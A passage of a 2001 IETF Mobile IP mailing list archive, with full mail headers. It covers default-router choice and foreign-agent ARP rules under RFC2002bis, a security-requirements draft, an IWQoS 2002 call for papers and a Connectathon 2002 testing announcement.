> gets an advert; so far as I can tell rfc2002 is silent on the matter
> and it makes little difference. The implementation I am using sets
> the default route after getting the advert and before sending the
> registration request (yes I typoed above - s/reply/request/). This
> is significantly different for PRE-REG, where it is critical the
> default route is not reset until the MN is on the new FAs link. (You
> do touch on this in section 3.6.)

I don't think RFC2002bis is silent on this. It says the following under
MN considerations (4.2.1):

  When registered on a foreign network, the mobile node chooses a
  default router by the following rules:

     -  If the mobile node is registered using a foreign agent care-of
        address, it MAY use its foreign agent as a first-hop router.
     .....

From the above I understand that the MN chooses the default router
once registered and MAY use the FA with which it is registered. When a MN
has an active registration and receives another agent advertisement it
shouldn't immediately change default router. It has to do movement detection
and wait until a successful registration goes through before making routing
changes. Otherwise any ongoing communication (through the current FA) would
be disrupted since the new FA shouldn't let traffic through (to and from MN)
until it gets the successful reply.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 11:08:58 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13864
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 11:08:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA18784;
	Wed, 7 Nov 2001 08:05:42 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA00211;
	Wed, 7 Nov 2001 08:03:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7G36QO024513
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:03:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7G369R024512
	for mobile-ip-dist; Wed, 7 Nov 2001 08:03:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7G32QO024505
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:03:02 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09778
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:03:03 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA25324
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:03:01 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fA7G2td06039
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 18:02:55 +0200
Date: Wed, 7 Nov 2001 18:02:55 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
In-Reply-To: <697DAA22C5004B4596E033803A7CEF444CD050@daebe007.NOE.Nokia.com>
Message-ID: <Pine.LNX.4.33.0111071757390.5891-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Wed, 7 Nov 2001, Patil Basavaraj (NET/Dallas) wrote:
> The only change in this revision of the draft is the numbering scheme
> used
> for scenarios, threats and requirements. This was done in order to make
> it
> easier for Gabriels effort in doing a comparison of the various
> solutions proposed
> today against the requirements. There is no change to the content in the
> I-D (yet).
> 
> We are still working on addressing all the other comments that we have
> received
> from WG members. A future revision will address those comments.

Ok, thanks for the clarification.

However, as I pointed out, until the requirements are sufficiently stable,
I see little need for detailed analyses of the proposed solutions.  At
least, one can't make any decisions on which to develop further; some
could be disqualified based on current requirements though.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 14:07:53 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA20729
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 14:07:52 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA11785;
	Wed, 7 Nov 2001 12:06:29 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA17201;
	Wed, 7 Nov 2001 11:06:23 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7J5RQO024840
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 11:05:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7J5RM3024839
	for mobile-ip-dist; Wed, 7 Nov 2001 11:05:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from eastmail1.East.Sun.COM (eastmail1.East.Sun.COM [129.148.1.240])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7J5OQO024832
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 11:05:25 -0800 (PST)
Received: from onion.east.sun.com (onion.East.Sun.COM [129.148.174.110])
	by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA12020
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 14:05:25 -0500 (EST)
Received: (from glass@localhost)
	by onion.east.sun.com (8.9.3+Sun/8.9.3) id OAA07416
	for mobile-ip@sunroof.eng.sun.com; Wed, 7 Nov 2001 14:05:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7IVhQO024785
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 10:31:43 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA07051
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 10:31:46 -0800 (PST)
Received: from ares.cs.Virginia.EDU (ares.cs.Virginia.EDU [128.143.137.19])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA11348
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 11:31:45 -0700 (MST)
Received: from viper.cs.Virginia.EDU (viper.cs.Virginia.EDU [128.143.137.17])
	by ares.cs.Virginia.EDU (8.9.2/8.9.2/UVACS-2000040300) with ESMTP id NAA21216;
	Wed, 7 Nov 2001 13:31:42 -0500 (EST)
Received: from localhost (iwqos@localhost)
	by viper.cs.Virginia.EDU (8.9.2/8.9.2) with ESMTP id NAA02024;
	Wed, 7 Nov 2001 13:31:49 -0500 (EST)
X-Authentication-Warning: viper.cs.Virginia.EDU: iwqos owned process doing -bs
Date: Wed, 7 Nov 2001 13:31:49 -0500 (EST)
From: IWQOS 2002 <iwqos@cs.virginia.edu>
To: Conference-Acct <iwqos@cs.virginia.edu>
Subject: [mobile-ip] IWQOS 2002 Call for Papers (first announcement)
Message-ID: <Pine.GSO.4.32.0111071330160.1946-100000@viper.cs.Virginia.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>


                *CALL FOR PAPERS*

           TENTH  INTERNATIONAL WORKSHOP
          on QUALITY of SERVICE (IWQoS)

        http://www.cs.virginia.edu/iwqos

              May 15-17, 2002
         Wyndham Miami Beach Resort
             Miami Beach, Florida


Supported by technical co-sponsorship by/in-cooperation with
IEEE Communications Society, ACM SIGCOMM and ACM SIGMOBILE \
(approval pending).

------------------------------------------------------
Submission deadline: February 8, 2002
------------------------------------------------------

Workshop Theme
==============
IWQoS is a very successful series of workshops providing an
international  forum for the presentation and discussion of
new research and ideas on quality of service (QoS).  It is a
premier forum for all work related to QoS -- in networking,
operating systems, servers, advanced middleware services and
according technical issues such as quality, safety and security,
admission, accounting, mobility. The objective of this Tenth
International Workshop on Quality of Service is to bring together
researchers, developers, and practitioners working in all these
areas to discuss recent innovative results and future directions.

The list of topics of interest includes (but is not limited to):
* Experiences with QoS (measurements, tests, evaluations)
* QoS control for middleware
* Scalable QoS architectures
* QoS in peer-to-peer networks
* Content delivery networks with service guarantees
* QoS routing
* Web QoS
* QoS in wireless and mobile environments
* Service assurances in embedded systems
* Charging, accounting, and pricing for QoS
* QoS support for information appliances
* Platform support for QoS
* QoS adaptation mechanisms
* Analytical and simulation models for QoS
* Programmability and language aspects
In the past the workshop has been cross-disciplinary, small and
well focused, with the emphasis on innovation. As a result, a
considerable amount of time is devoted to informal discussion.

Call for Papers
IWQoS invites submission of manuscripts which present original
material and should not have been previously published nor should
they currently be under review by another conference or journal.
Authors must submit papers electronically via the web.
Submission instructions will be available from the conference
web site.

Important dates:
PAPER DEADLINE:   February 8, 2002
NOTIFICATION: 	  March 18, 2002
FINAL PAPERS DUE: March 29, 2002

Co-Chairs:
----------
Jorg Liebeherr, University of Virginia
Thomas Gross, ETH Zurich

IWQoS Steering Committee:
-------------------------
Jon Crowcroft, Cambridge University
Peter Steenkiste, CMU
Hui Zhang, CMU and Turin Networks
Lars Wolf, University of Karlsruhe
David Hutchison, Lancaster University
Ralf Steinmetz, Darmstadt University of Technology

Program committee (not complete):
---------------------------------
Tarek Abdelzaher, University of Virginia
Nina Bhatti, University of Arizona
Andrew Campbell, Columbia University
John Chuang, University of California, Berkeley
Jon Crowcroft, Cambridge University
Hermann de Meer, UCL
Constantinos Dovrolis, University of Delaware
Serge Fdida, LIP6
Ian Foster, Argonne National Lab
Rich Friedrich, HP Labs
David Hutchison, Lancaster University
Kevin Jeffay, University of North Carolina
Edward Knightly, Rice University
Steven Low, Caltech
Laurent Mathy, Lancaster University
Klara Nahrstedt, University of Illinois
Duane Northcutt, Telia
Andrew Odlyzko, University of Minnesota
Thomas Plagemann, University of Oslo
Keith Ross, Institute Eurecom
Doug Schmidt, University of California, Irvine
Yuval Shavitt, Tel Aviv University
Peter Steenkiste, CMU
Ralf Steinmetz, Darmstadt University of Technology
David Steere, Oregon Graduate Institute
Burkhard Stiller, ETH Zurich
Ion Stoica, University of California, Berkeley
Dinesh Verma, IBM Research
Lars Wolf, University of Karlsruhe
John Zinky, BBN

Further General Information
===========================
http://www.cs.virginia.edu/iwqos/
mailto:iwqos@cs.virginia.edu





From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 15:01:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22129
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 15:01:39 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA08692;
	Wed, 7 Nov 2001 12:00:07 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA03006;
	Wed, 7 Nov 2001 11:59:37 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7JwiQO025052
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 11:58:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7JwiCR025051
	for mobile-ip-dist; Wed, 7 Nov 2001 11:58:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from jurassic.eng.sun.com (jurassic [129.146.82.37] (may be forged))
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7JwfQO025044
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 11:58:41 -0800 (PST)
Received: from shubho (shubho.Eng.Sun.COM [129.146.85.207])
	by jurassic.eng.sun.com (8.12.1+Sun/8.12.1) with SMTP id fA7JwgeB803674
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 11:58:42 -0800 (PST)
Message-Id: <200111071958.fA7JwgeB803674@jurassic.eng.sun.com>
Date: Wed, 7 Nov 2001 12:00:24 -0800 (PST)
From: Samita Chakrabarti <Samita.Chakrabarti@eng.sun.com>
Subject: [mobile-ip] Announcement on Connectathon 2002: MobileIP Testing Event
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY=Pod_of_Dolphins_476_000
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.9 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--Pod_of_Dolphins_476_000
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: E+7TTDNRBTRV2qIY2f/yjg==

Resending the message again...

------------- Begin Forwarded Message -------------

Connectathon event for interoperability testing will again take place
in San Jose, California during Feb 28 - March 7, 2002.  

We will hold Mobile IPv6/Mobile IPV4 interoperability testing event
this year as well. The MobileIP testing event plans to take
place for 3 days from March 4 thru March 6. There will be afternoon
presentation sessions  during March 4th through 6th as well.

Attached is the Connectathon information on registration/contact information
and other details. Also check out http://www.connectathon.org for more
information.

Please let me know if you are interested in testing your Mobile IP product
at Connectathon, so I can co-ordinate the MobileIP interoperability 
testing among different implementations. Please also fill out the attached
"info" file and send it to me with your request. Thanks very much.



-Samita

Connectathon MobileIP Technology Contact:
email: samita.chakrabarti@sun.com
Phone: (650) 786 5068
 










------------- End Forwarded Message -------------


--Pod_of_Dolphins_476_000
Content-Type: TEXT/plain; name=announcement; charset=us-ascii
Content-Description: announcement
Content-MD5: XlMeGRqdVMAp1vM3MwdQJA==

The Connectathon team is delighted to announce its 16th annual event
will take place as scheduled.  Connectathon 2002, an interoperability
testing event for engineers only, will be held Feb. 28-Mar. 7, 2002 in
San Jose, California.  Sponsored by Sun Microsystems, Inc., Connectathon
hosts over 50 companies from around the globe in an effort to test and
debug source code.  Currently, the following technologies and protocols
are on the agenda:

NFS versions 2, 3 and 4
NFS over RDMA
WebNFS
Lock Manager
NIS/NIS+
Automounter
Kerberos
IPv6
IPsec
Mobile IPv4
Mobile IPv6
Secure Shell
NDMP

Based on demand, in addition we are considering to offer:

Service Location Protocol
Diameter/AAA
CIFS
ATM

If you are interested in testing any of the above 4 protocols, please
send a note to Cthon@Sun.com and we'll gauge interest.  Or if you have a
suggestion for another technology, feel free to contact us as well.

Testing continues 24 hours per day.  Technology testing coordinators
will organize testing procedures and test suite material.  In addition,
there will be seminars with speakers addressing various topics.

The registration deadline is February 7, 2002.  An Early Bird Discount
on station fees is available to those who register and pay by December
31, 2001.  For registration information, please see our web site at
http://www.connectathon.org.

If you have any questions, please feel free to contact Audrey Van
Belleghem at audrey@vanb.com or (408) 358-9598.

We look forward to seeing you at the 16th annual Connectathon event!

Audrey Van Belleghem
Connectathon Manager


--Pod_of_Dolphins_476_000
Content-Type: TEXT/plain; name=info; charset=us-ascii
Content-Description: info
Content-MD5: qQIzzijUtDMlxI8dmgE0GQ==

                           Connectathon 2002 MobileIP Test Event
			   Technology Co-ordinator : Samita Chakrabarti
                                                     Sun Microsystems, Inc.


Company/University/Institution :

Contact Information :


Would like to test:

                 Mobile IPv6     :  yes []       no []

                 Mobile IPv4     :  yes []       no []



Interested in making a presentation at Connectathon :  yes []   no []

Suggestion for a presentation topic:

--Pod_of_Dolphins_476_000--


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 16:00:57 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA23803
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 16:00:57 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA26755;
	Wed, 7 Nov 2001 14:00:06 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA02325;
	Wed, 7 Nov 2001 12:59:53 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7KvtQO025221
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 12:57:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7KvsMg025220
	for mobile-ip-dist; Wed, 7 Nov 2001 12:57:54 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7KvnQO025206
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 12:57:49 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA01841
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 12:57:35 -0800 (PST)
Received: from illyana.qualcomm.com (illyana.qualcomm.com [129.46.65.100])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA13841
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 12:57:51 -0800 (PST)
Received: from MOBILEIP.qualcomm.com (mobileip.qualcomm.com [129.46.216.133])
	by illyana.qualcomm.com (8.12.1/8.12.1/1.0) with ESMTP id fA7KvopQ026079
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 12:57:50 -0800 (PST)
Message-Id: <4.3.1.2.20011107124451.01753ee0@clea.qualcomm.com>
X-Sender: nabrol@clea.qualcomm.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 07 Nov 2001 12:56:04 -0800
To: mobile-ip@sunroof.eng.sun.com
From: Nish Abrol <nabrol@qualcomm.com>
Subject: [mobile-ip] MIPv4 Binding Update Question
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Question: if a MIPv4 foreign agent detects that the link layer has been 

terminated with the mobile node, can it send a binding update to the Home 
Agent to delete the mobility binding?

Do any rfcs/drafts describe such a binding update?

Thanks
Nish Abrol
Qualcomm, Inc.



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 20:11:12 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27490
	for <mobileip-archive@lists.ietf.org>; Wed, 7 Nov 2001 20:11:12 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA06410;
	Wed, 7 Nov 2001 17:09:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA05905;
	Wed, 7 Nov 2001 17:09:35 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA818TQO025743
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 17:08:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA818SNe025742
	for mobile-ip-dist; Wed, 7 Nov 2001 17:08:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA818PQO025735
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 17:08:25 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA05709
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 17:08:27 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA12608
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 18:08:09 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA22972
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 17:08:26 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fA818PQ30064
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 17:08:25 -0800
X-mProtect:  Wed, 7 Nov 2001 17:08:25 -0800 Nokia Silicon Valley Messaging Protection
Received: from Icharliep-1.iprg.nokia.com (205.226.22.18, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdHkAVXD; Wed, 07 Nov 2001 17:08:23 PST
Message-ID: <3BE9DAF8.128FA316@iprg.nokia.com>
Date: Wed, 07 Nov 2001 17:08:08 -0800
From: Charlie Perkins <charliep@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses
References: <A1170612471BD21185B90008C7FA0A0D01F1FAAD@idcpa4.pa.interdigital.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello Sharif,

The two cases are different, because we have protocol to tell
the home agent when the mobile node is there.  Unless we adopt
Route Optimization for IPv4 (which would be a great idea!) there
is no protocol by which a mobile node can tell a previous foreign
agent that it is no longer in that visited network.

Thus there is no protocol by which a foreign agent can maintain
a consistent and correct ARP cache.

Regards,
Charlie P.


"Shahrier, Sharif M." wrote:

> Hello Carl,
>
>         It is explicitly stated in 2002bis that the FA is not allowed to
> proxy ARP the links attached to its  router.
>
> However, the HA is not prohibited from proxy ARP'ing its links to determine
> the MN's MAC address when its at home.
>
> I don't know why it is different for the 2 cases.
>
> I thought that it is still possible to use de-registration messages from the
> MN for the HA to learn its MAC address.
>
> Perhaps the contributors to 2002 & 2002bis can explain why the two cases are
> different.
>
> -Sharif.
>
> -----Original Message-----
> From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> Sent: Monday, November 05, 2001 4:15 AM
> To: mobile-ip@sunroof.eng.sun.com
> Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses
>
> Based on interoperability testing at various MIP bake-offs, what we
> learned was that some routers are configured to automatically proxy
> ARP for any address not belonging to the local network.  The presence
> of such routers can interfere with the operation of the Mobile IP agent.
> A foreign agent, as described in RFC2002, sends out an ARP request
> to determine the hardware address for a visiting mobile node.  If the
> proxy-ARPing router responds before the mobile node, forwarding
> loops can occur and cuasing the mobile node to be unreachable.
>
> This input from MIP bake-offs was presented to Charlie Perkins who
> then made the appropriate changes to 2002bis to specify that
> the FA not ARPing for a mobile node's hardware address.
>
> An implementation could pick up that information from the
> ethernet header of an incomping registration request.
>
> Just some historical information regarding why the 2002bis change
> is there.
>
> Carl
>
> ----- Original Message -----
> From: "Lorang, Martin" <Martin.Lorang@detecon.com>
> To: <mobile-ip@sunroof.eng.sun.com>
> Sent: Monday, November 05, 2001 12:15 AM
> Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses
>
> > -- Sharif wrote --
> >
> > One of the "major changes" listed in rfc2002-bis is that the foreign
> > agent
> > is not permitted to broadcast an ARP Request on all its local links, in
> > order to retreive the MAC address of a mobile node.
> >
> > However, in RFC2002, I did not see any text that prohibits this action.
> >
> > -- End Sharif
> >
> > Unfortunately, I can't answer Your question but only add another one:
> >
> > _Why_ is the foreign agent not allowed anymore to use broadcast ARP?
> >
> > As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
> > reasons for this deviation from RFC2002. If I missed something (it's
> > extremely hard to search in the Mobile IP e-mail list archive), please
> > let me know.
> >



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov  8 08:08:00 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24507
	for <mobileip-archive@odin.ietf.org>; Thu, 8 Nov 2001 08:08:00 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA23048;
	Thu, 8 Nov 2001 05:06:39 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA21280;
	Thu, 8 Nov 2001 05:06:17 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA8D5JQO026893
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 8 Nov 2001 05:05:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA8D5IrU026892
	for mobile-ip-dist; Thu, 8 Nov 2001 05:05:18 -0800 (PST)
